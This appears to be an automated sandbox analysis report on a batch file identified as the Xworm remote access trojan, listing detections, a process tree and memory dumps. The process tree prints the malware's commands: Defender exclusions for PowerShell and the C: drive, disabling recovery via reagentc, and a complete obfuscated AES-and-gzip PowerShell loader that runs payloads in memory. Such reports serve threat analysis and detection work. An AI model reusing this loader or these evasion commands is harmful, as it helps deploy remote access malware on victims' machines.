Analysis

  • max time kernel
    104s
  • max time network
    107s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    30/12/2024, 00:56

Errors

Reason
Machine shutdown

General

  • Target
    Main2.bat
  • Size 330KB
  • Sample241230-bas8tssmay
  • SHA256 18c32243fd2aca0cd2bf68b5988e5133e99909fd64134ee88ee0ba0be0f6ab52
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
      PID:828
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k RPCSS -p
      1⤵
        PID:940
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:1000
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
          1⤵
            PID:716
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
            1⤵
              PID:1040
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
              1⤵
                PID:1052
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                1⤵
                  PID:1096
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                  1⤵
                    PID:1172
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                    1⤵
                      PID:1228
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                      1⤵
                        PID:1240
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                        1⤵
                          PID:1268
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                          1⤵
                            PID:1316
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                            1⤵
                              PID:1328
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1444
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k NetworkService -p
                                1⤵
                                  PID:1584
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                  1⤵
                                    PID:1680
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                    1⤵
                                      PID:1712
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                      1⤵
                                        PID:1744
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                        1⤵
                                          PID:1752
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                          1⤵
                                            PID:1844
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                            1⤵
                                              PID:1924
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1108
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                1⤵
                                                  PID:1984
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:2056
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:2064
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:2104
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                        1⤵
                                                          PID:2260
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                          1⤵
                                                            PID:2316
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                            1⤵
                                                              PID:2328
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                              1⤵
                                                                PID:2536
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                1⤵
                                                                  PID:2544
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkService -p
                                                                  1⤵
                                                                    PID:2596
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                    1⤵
                                                                      PID:2672
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                      1⤵
                                                                        PID:2688
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                        1⤵
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:2696
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                        1⤵
                                                                          PID:2716
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                          1⤵
                                                                            PID:2364
                                                                          • C:\Windows\Explorer.EXE
                                                                            C:\Windows\Explorer.EXE
                                                                            1⤵
                                                                              PID:3384
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Main2.bat"
                                                                                2⤵
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:2956
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe' *> nul"
                                                                                  3⤵
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:2952
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -Command "Add-MpPreference -ExclusionPath 'C:\' *> nul"
                                                                                  3⤵
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:3544
                                                                                • C:\Windows\system32\ReAgentc.exe
                                                                                  reagentc.exe /disable
                                                                                  3⤵
                                                                                  • Drops file in System32 directory
                                                                                  • Drops file in Windows directory
                                                                                  PID:3100
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NqT5dlEY13od/cgnTeWr9HCFyi5tVxKpxf3giy+V53U='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dV1YrynB3G4ZU7GadxcPVw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NGVSg=New-Object System.IO.MemoryStream(,$param_var); $prCTp=New-Object System.IO.MemoryStream; $KnJce=New-Object System.IO.Compression.GZipStream($NGVSg, [IO.Compression.CompressionMode]::Decompress); $KnJce.CopyTo($prCTp); $KnJce.Dispose(); $NGVSg.Dispose(); $prCTp.Dispose(); $prCTp.ToArray();}function execute_function($param_var,$param2_var){ $YaHPP=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ywbut=$YaHPP.EntryPoint; $ywbut.Invoke($null, $param2_var);}$qiXom = 'C:\Users\Admin\AppData\Local\Temp\Main2.bat';$host.UI.RawUI.WindowTitle = $qiXom;$UMYei=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($qiXom).Split([Environment]::NewLine);foreach ($woRgZ in $UMYei) { if ($woRgZ.StartsWith('xpscFrIxgCAQQwnfsrPT')) { $dlNLm=$woRgZ.Substring(20); break; }}$payloads_var=[string[]]$dlNLm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                  3⤵
                                                                                    PID:3312
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                    3⤵
                                                                                    • Blocklisted process makes network request
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Adds Run key to start application
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:3220
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                1⤵
                                                                                  PID:3528
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                  1⤵
                                                                                    PID:3548
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                    1⤵
                                                                                      PID:3080
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                      1⤵
                                                                                        PID:4420
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                        1⤵
                                                                                          PID:3732
                                                                                        • C:\Windows\System32\svchost.exe
                                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                          1⤵
                                                                                            PID:4868
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                            1⤵
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:908
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                            1⤵
                                                                                              PID:1532
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                              1⤵
                                                                                                PID:1980
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                1⤵
                                                                                                  PID:3268

                                                                                                Network

                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                      Replay Monitor

                                                                                                      Loading Replay Monitor...

                                                                                                      Downloads

                                                                                                      powershell.exe.log

                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                      • Size 2KB
                                                                                                      • SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
                                                                                                      • MD5 SHA1 SHA512

                                                                                                      StartupProfileData-NonInteractive

                                                                                                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                      • Size 944B
                                                                                                      • SHA256 0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888
                                                                                                      • MD5 SHA1 SHA512

                                                                                                      __PSScriptPolicyTest_2ye0fl2u.1iu.ps1

                                                                                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ye0fl2u.1iu.ps1
                                                                                                      • Size 60B
                                                                                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                      • MD5 SHA1 SHA512

                                                                                                      memory/716-109-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/908-98-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/940-84-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/1096-108-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/1108-97-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/1172-64-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/1268-68-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/1316-81-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/1328-87-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/1532-83-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/1712-90-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/1744-62-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/1752-63-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/1844-111-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/1924-85-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/2104-88-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/2316-89-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/2328-69-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/2536-67-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/2544-61-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/2672-112-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/2688-91-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/2696-86-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/2716-82-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/2952-0-0x00007FF996B93000-0x00007FF996B95000-memory.dmp

                                                                                                      memory/2952-11-0x00007FF996B90000-0x00007FF997652000-memory.dmp

                                                                                                      memory/2952-9-0x000001E9E75D0000-0x000001E9E75F2000-memory.dmp

                                                                                                      memory/2952-12-0x00007FF996B90000-0x00007FF997652000-memory.dmp

                                                                                                      memory/2952-13-0x00007FF996B90000-0x00007FF997652000-memory.dmp

                                                                                                      memory/2952-10-0x00007FF996B90000-0x00007FF997652000-memory.dmp

                                                                                                      memory/2952-16-0x00007FF996B90000-0x00007FF997652000-memory.dmp

                                                                                                      memory/3080-96-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/3220-47-0x0000021BB5800000-0x0000021BB5808000-memory.dmp

                                                                                                      memory/3220-148-0x0000021BB5FE0000-0x0000021BB5FEC000-memory.dmp

                                                                                                      memory/3220-126-0x0000021BB58B0000-0x0000021BB58C0000-memory.dmp

                                                                                                      memory/3220-46-0x0000021BB5850000-0x0000021BB5896000-memory.dmp

                                                                                                      memory/3220-48-0x0000021BB5810000-0x0000021BB5846000-memory.dmp

                                                                                                      memory/3220-150-0x0000021BB6030000-0x0000021BB603E000-memory.dmp

                                                                                                      memory/3268-110-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/3384-60-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/3384-49-0x0000000003440000-0x000000000346A000-memory.dmp

                                                                                                      memory/3528-65-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/3544-18-0x00007FF996B90000-0x00007FF997652000-memory.dmp

                                                                                                      memory/3544-27-0x00007FF996B90000-0x00007FF997652000-memory.dmp

                                                                                                      memory/3544-33-0x00007FF996B90000-0x00007FF997652000-memory.dmp

                                                                                                      memory/3544-31-0x00007FF996B90000-0x00007FF997652000-memory.dmp

                                                                                                      memory/3544-30-0x00007FF996B90000-0x00007FF997652000-memory.dmp

                                                                                                      memory/3544-29-0x00007FF996B90000-0x00007FF997652000-memory.dmp

                                                                                                      memory/3732-66-0x00007FF977A30000-0x00007FF977A40000-memory.dmp

                                                                                                      memory/4868-95-0x00007FF977A30000-0x00007FF977A40000-memory.dmp